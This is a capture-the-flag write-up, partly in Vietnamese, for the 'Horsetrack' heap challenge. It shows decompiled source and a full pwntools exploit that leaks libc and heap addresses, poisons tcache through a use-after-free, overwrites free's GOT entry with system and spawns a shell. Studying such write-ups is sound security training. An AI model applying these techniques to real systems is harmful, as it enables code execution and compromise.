pwn - Horsetrack
I'm starting to write a game about horse racing, would you mind testing it out? Maybe you can find some of my easter eggs... Hopefully it's a heap of fun!
GLIBC Version
ubuntu@hungnt-PC:~/ctf/horsetrack$ strings libc.so.6 | grep "GLIBC "
GNU C Library (Debian GLIBC 2.33-1) release release version 2.33.Phiên bản libc đang được sử dụng là 2.33.
Source Code
horse struct
/* 8 */
struct __fixed horse
{
char *name;
int position;
int in_use;
};main()
__int64 __fastcall main(int a1, char **a2, char **a3)
{
const char *winner; // rax
int choice; // [rsp+14h] [rbp-1Ch] BYREF
int stop; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
horse *horses; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
horses = malloc(0x120u);
choice = 0;
stop = 0;
randomize_something();
init_horses(horses);
while ( !stop )
{
puts("1. Add horse");
puts("2. Remove horse");
puts("3. Race");
puts("4. Exit");
printf("Choice: ");
scanf("%d", &choice);
switch ( choice )
{
case 0:
cheat(horses);
cheating = 1;
break;
case 1:
if ( !add_horse(horses) )
stop = 1;
break;
case 2:
if ( !remove_horse(horses) )
stop = 1;
break;
case 3:
if ( cheating )
{
puts("You have been caught cheating!");
stop = 1;
}
else if ( check_num_of_horses(horses) )
{
while ( !finish_racing(horses) )
{
move_horses(horses);
print_horses(horses);
}
winner = get_winner(horses);
printf("WINNER: %s\n\n", winner);
for ( i = 0; i <= 17; ++i )
horses[i].position = 0;
}
else
{
puts("Not enough horses to race");
}
break;
case 4:
stop = 1;
break;
default:
puts("Invalid choice");
break;
}
}
puts("Goodbye!");
return 0;
}init_horses()
int *__fastcall init_horses(horse *horses)
{
int *in_use_ptr; // rax
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 17; ++i )
{
horses[i].name = 0;
horses[i].position = i;
in_use_ptr = &horses[i].in_use;
*in_use_ptr = 0;
}
return in_use_ptr;
}add_horse()
__int64 __fastcall add_horse(horse *horses)
{
unsigned int v2; // ebx
unsigned int stable_index; // [rsp+10h] [rbp-20h] BYREF
unsigned int horse_name_length; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-18h]
canary = __readfsqword(0x28u);
stable_index = 0;
horse_name_length = 0;
printf("Stable index # (0-%d)? ", 17);
scanf("%d", &stable_index);
if ( stable_index < 18 )
{
if ( horses[stable_index].in_use )
{
puts("Stable location already in use");
return 0;
}
else
{
printf("Horse name length (%d-%d)? ", 16, 256);
scanf("%d", &horse_name_length);
if ( horse_name_length > 15 && horse_name_length <= 256 )
{
v2 = stable_index;
horses[v2].name = malloc((horse_name_length + 1));
if ( horses[stable_index].name )
{
input_horse_name(horses[stable_index].name, horse_name_length);
horses[stable_index].in_use = 1;
printf("Added horse to stable index %d\n", stable_index);
return 1;
}
else
{
puts("Failed to allocate memory for horse name");
return 0;
}
}
else
{
puts("Invalid horse name length");
return 0;
}
}
}
else
{
puts("Invalid stable index");
return 0;
}
}remove_horse()
__int64 __fastcall remove_horse(horse *horses)
{
unsigned int stable_index; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
stable_index = 0;
printf("Stable index # (0-%d)? ", 17);
scanf("%d", &stable_index);
if ( stable_index < 18 )
{
if ( horses[stable_index].in_use )
{
free(horses[stable_index].name);
horses[stable_index].in_use = 0;
printf("Removed horse from stable index %d\n", stable_index);
return 1;
}
else
{
puts("Stable location not in use");
return 0;
}
}
else
{
puts("Invalid stable index");
return 0;
}
}check_num_of_horses()
_BOOL8 __fastcall check_num_of_horses(horse *horses)
{
int count; // [rsp+10h] [rbp-8h]
int i; // [rsp+14h] [rbp-4h]
count = 0;
for ( i = 0; i <= 17; ++i )
{
if ( horses[i].in_use )
++count;
}
return count > 4;
}finish_racing()
__int64 __fastcall finish_racing(horse *horses)
{
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 17; ++i )
{
if ( horses[i].in_use && horses[i].position > 29 )
return 1;
}
return 0;
}move_horses()
void __fastcall move_horses(horse *horses)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 17; ++i )
{
if ( horses[i].in_use )
horses[i].position += rand() % 5 + 1;
}
}print_horses()
__int64 __fastcall print_horses(horse *horses)
{
int i; // [rsp+18h] [rbp-18h]
int k; // [rsp+1Ch] [rbp-14h]
int m; // [rsp+20h] [rbp-10h]
int n; // [rsp+24h] [rbp-Ch]
int j; // [rsp+28h] [rbp-8h]
int name_len; // [rsp+2Ch] [rbp-4h]
for ( i = 0; i <= 17; ++i )
{
if ( !horses[i].in_use )
{
for ( j = 0; j <= 29; ++j )
putc(' ', stdout);
goto LABEL_17;
}
name_len = strnlen(horses[i].name, 16u);
for ( k = 0; k < horses[i].position; ++k )
putc(' ', stdout);
for ( m = 0; m < name_len; ++m )
putc(horses[i].name[m], stdout);
if ( horses[i].position + name_len <= 29 )
{
for ( n = 0; n < 30 - horses[i].position - name_len; ++n )
putc(' ', stdout);
LABEL_17:
putc('|', stdout);
}
putc('\n', stdout);
}
puts("\n");
return sleep(1);
}get_winner()
char *__fastcall get_winner(horse *horses)
{
int furthes_position; // [rsp+Ch] [rbp-Ch]
int winner; // [rsp+10h] [rbp-8h]
int i; // [rsp+14h] [rbp-4h]
furthes_position = 0;
winner = 0;
for ( i = 0; i <= 17; ++i )
{
if ( horses[i].in_use && furthes_position < horses[i].position )
{
furthes_position = horses[i].position;
winner = i;
}
}
return horses[winner].name;
}cheat()
unsigned __int64 __fastcall cheat(horse *horses)
{
unsigned int stable_index; // [rsp+10h] [rbp-10h] BYREF
int position; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
stable_index = 0;
position = 0;
puts("You may try to take a head start, if you get caught you will be banned from the races!");
printf("Stable index # (0-%d)? ", 17);
scanf("%d", &stable_index);
if ( stable_index < 18 )
{
input_horse_name(horses[stable_index].name, 16);
printf("New spot? ");
scanf("%d", &position);
horses[stable_index].position = position;
printf("Modified horse in stable index %d\n", stable_index);
}
else
{
puts("Invalid stable index");
}
return __readfsqword(0x28u) ^ canary;
}input_horse_name()
int __fastcall input_horse_name(char *name, int length)
{
int cur_char; // eax
char *cur_char_ptr; // rax
char cur_char_tmp; // [rsp+1Bh] [rbp-5h]
int index; // [rsp+1Ch] [rbp-4h]
printf("Enter a string of %d characters: ", length);
for ( index = 0; index < length; ++index )
{
do
{
cur_char = getchar();
cur_char_tmp = cur_char;
}
while ( cur_char == '\n' );
if ( cur_char == '\xFF' )
return cur_char;
cur_char_ptr = name++;
*cur_char_ptr = cur_char_tmp;
}
while ( getchar() != '\n' )
;
*name = 0; // null terminator at the end
return name;
}Mitigation

Solve
Với Partial RELRO là PIE không được bật, chúng ta có thể nghĩ ngay tới việc overwrite GOT.
Trước hết, chúng ta cần làm hai việc đó là leak được libc và heap. Vì phiên bản libc đang dùng là 2.33, có tcache, việc leak khá tricky do thứ tự tìm kiếm chunk trong các bin và cơ chế sắp xếp chunk từ unsorted bin vào các bin khác khi tcache đã đầy.
Sau khi đã leak được libc và heap, chúng ta tính được địa chỉ của system() hoặc các one-gadget. Sau đó thực hiện tcache poisoning để overwrite GOT bằng cách lợi dụng use-after-free từ hàm cheat().
Lưu ý rằng từ libc 2.32, con trỏ fd của chunk nằm trong tcache đã được encode nên ta cũng cần thực hiện việc này khi ghi đè fd.
Script
from pwn import *
context.terminal = ['tmux', 'new-window']
p = remote('saturn.picoctf.net', 49827)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
def add_horse(index, length, name):
p.sendlineafter(b"Choice:", b"1")
p.sendlineafter(b"(0-17)?", str(index).encode())
p.sendlineafter(b"(16-256)?", str(length).encode())
p.sendlineafter(b"characters:", name)
def remove_horse(index):
p.sendlineafter(b"Choice:", b"2")
p.sendlineafter(b"(0-17)?", str(index).encode())
def race():
p.sendlineafter(b"Choice:", b"3")
def cheat(index, name):
p.sendlineafter(b"Choice:", b"0")
p.sendlineafter(b"(0-17)?", str(index).encode())
p.sendlineafter(b"characters:", name)
p.sendlineafter(b"New spot?", b"29")
# Sử dụng một kích thước nhỏ hơn một chút
SZ = 0x100 - 0x10
FF = b'\xff'
# Cấp phát chunk từ 0->11 với kích thước 0x100, chunk 11 là một hàng rào để tách biệt với top chunk
log.info("Cấp phát chunk từ 0->11 với kích thước 0x100")
for i in range(12):
add_horse(i, SZ, FF)
# Giải phóng chunk từ 0->7, chunk 0->6 sẽ lấp đầy tcache bin kích thước 0x100, chunk 7 sẽ đi vào unsorted bin
log.info("Đưa chunk 0->6 vào tcache, chunk 7 vào unsorted bin")
for i in range(8):
remove_horse(i)
# Cấp phát chunk với kích thước 0x100 - 0x10, một kích thước nhỏ hơn để ptmalloc bỏ qua tcache và tìm các chunk có sẵn trong unsorted bin vì tcache bin kích thước 0x100 - 0x10 đang trống.
# Nếu ptmalloc tìm thấy chunk 7 trong unsorted bin, sẽ chỉ còn lại 0x10 byte nếu chunk bị chia nhỏ, vì vậy toàn bộ chunk sẽ được lấy thay vì chia nhỏ.
# Thêm một ký tự 'W' để biết khi nào nhận được địa chỉ bị leak. Điều này sẽ ghi đè lên byte cuối cùng của địa chỉ nhưng không sao vì chúng ta chỉ cần địa chỉ base của libc và 12 bit cuối cùng là 000
log.info("Chunk 7 đang ở trong unsorted bin, cấp phát kích thước 0x100 - 0x10 và sau đó leak con trỏ fd")
add_horse(7, SZ - 0x10, b"W" + FF)
# Race để leak con trỏ fd
log.info("Race để leak con trỏ fd, con trỏ này trỏ đến main arena trong libc")
race()
p.recvuntil(b'W')
LIBC_BASE = u64((b'\0' + p.recvn(5)).ljust(8, b'\0')) - 0x1bdc00
log.success(f"Libc base: {hex(LIBC_BASE)}")
# Tiếp theo, chúng ta cố gắng leak địa chỉ heap để thực hiện tcache poisoning nhằm có được quyền ghi tùy ý (arbitrary write). Ở đây chúng ta cần ít nhất 2 chunk trong cùng một bin (bên ngoài tcache) để có một con trỏ đến chunk heap tiếp theo hoặc trước đó. Nhưng chúng ta không thể làm điều này trong unsorted bin vì cơ chế cấp phát khi tìm trong unsorted bin khá phức tạp, và dường như không thể đặt 2 chunk vào unsorted bin và giữ lại con trỏ fd hoặc bk khi cấp phát. Do đó, hãy đặt chúng vào smallbin.
# Bây giờ, chúng ta chuyển chunk 8 và 10 vào unsorted bin
log.info("Giải phóng chunk 8 và 10 vào unsorted bin")
remove_horse(8)
remove_horse(10)
# Cấp phát chunk 12 với kích thước lớn hơn, là 0x100 + 0x10, để chunk 8 và 10 không vừa và sẽ được sắp xếp vào smallbin
log.info("Cấp phát chunk 12 kích thước 0x100 + 0x10 để chuyển chunk 8 và 10 vào smallbin")
add_horse(12, SZ + 0x10, FF)
# Cấp phát kích thước SZ để xóa tcache bin có kích thước SZ
log.info("Cấp phát chunk 0->6 để xóa tcache bin kích thước 0x100")
for i in range(7):
add_horse(i, SZ, FF)
# Bây giờ chúng ta cấp phát chunk kích thước 0x100 để lấy chunk 8, chunk này vẫn còn con trỏ fd và bk, và con trỏ bk đang trỏ đến chunk 10, do đó chúng ta có thể leak địa chỉ heap. Chunk 10 sẽ được chuyển vào tcache.
log.info("Cấp phát chunk 8 kích thước 0x100 để leak địa chỉ heap")
add_horse(8, SZ, b"W" * 8 + FF)
# Chúng ta giải phóng chunk 7 để loại bỏ ký tự 'W' trước đó
remove_horse(7)
# Race để leak con trỏ bk
log.info("Race để leak con trỏ bk, con trỏ này trỏ đến chunk 10 trong heap")
race()
p.recvuntil(b'W' * 8)
HEAP_BASE = u64(p.recvn(4).ljust(8, b'\0')) - 0xfa0
log.success(f"Heap base: {hex(HEAP_BASE)}")
# Chúng ta giải phóng chunk 8 vào cùng tcache bin với chunk 10
log.info("Giải phóng chunk 8 vào cùng tcache bin với chunk 10")
remove_horse(8)
# Bây giờ chúng ta sử dụng hàm cheat có lỗ hổng use-after-free khi gọi hàm nhập tên để thực hiện tcache poisoning, cuối cùng là ghi đè lên GOT entry của free
# Kể từ glibc 2.32, glibc đã giới thiệu safe linking, con trỏ fd trong tcache được mã hóa, vì vậy chúng ta cũng phải làm điều đó.
def encoded_fd(fd, base):
return fd ^ (base >> 12)
# Ghi đè con trỏ fd của chunk 8 trong tcache bin
free_got = elf.got['free'] - 0x8 # Vì con trỏ fd yêu cầu căn chỉnh 16 byte, chúng ta cần trừ đi 8
log.info("Gọi hàm cheat để khai thác use-after-free, ghi đè con trỏ fd của chunk 8 đến GOT entry của free")
cheat(8, p64(encoded_fd(free_got, HEAP_BASE)) + FF)
# Tính toán địa chỉ của system() với địa chỉ base của libc
system = LIBC_BASE + libc.symbols["system"]
log.success(f"system() address: {hex(system)}")
# Cấp phát chunk 8 từ tcache, bây giờ entry trỏ đến free_got - 0x8
log.info("Cấp phát chunk 8 để entry của tcache trỏ đến free GOT entry - 0x8")
add_horse(8, SZ, b"\xff")
# Chúng ta cần đệm 8 byte ở đây vì trước đó đã trừ đi 8
log.info("Cấp phát lại để ghi địa chỉ của system vào free GOT entry")
add_horse(10, SZ, p64(system) * 2 + FF)
# Bây giờ chúng ta cấp phát một chunk và ghi '/bin/sh' vào đó, sau đó giải phóng chunk này cũng có nghĩa là gọi system('/bin/sh')
log.info("Cấp phát một chunk khác để chứa '/bin/sh'")
add_horse(7, SZ-0x10, b"/bin/sh\0\xff")
log.info("Giải phóng chunk chứa '/bin/sh' để gọi system('/bin/sh')")
remove_horse(7)
p.interactive()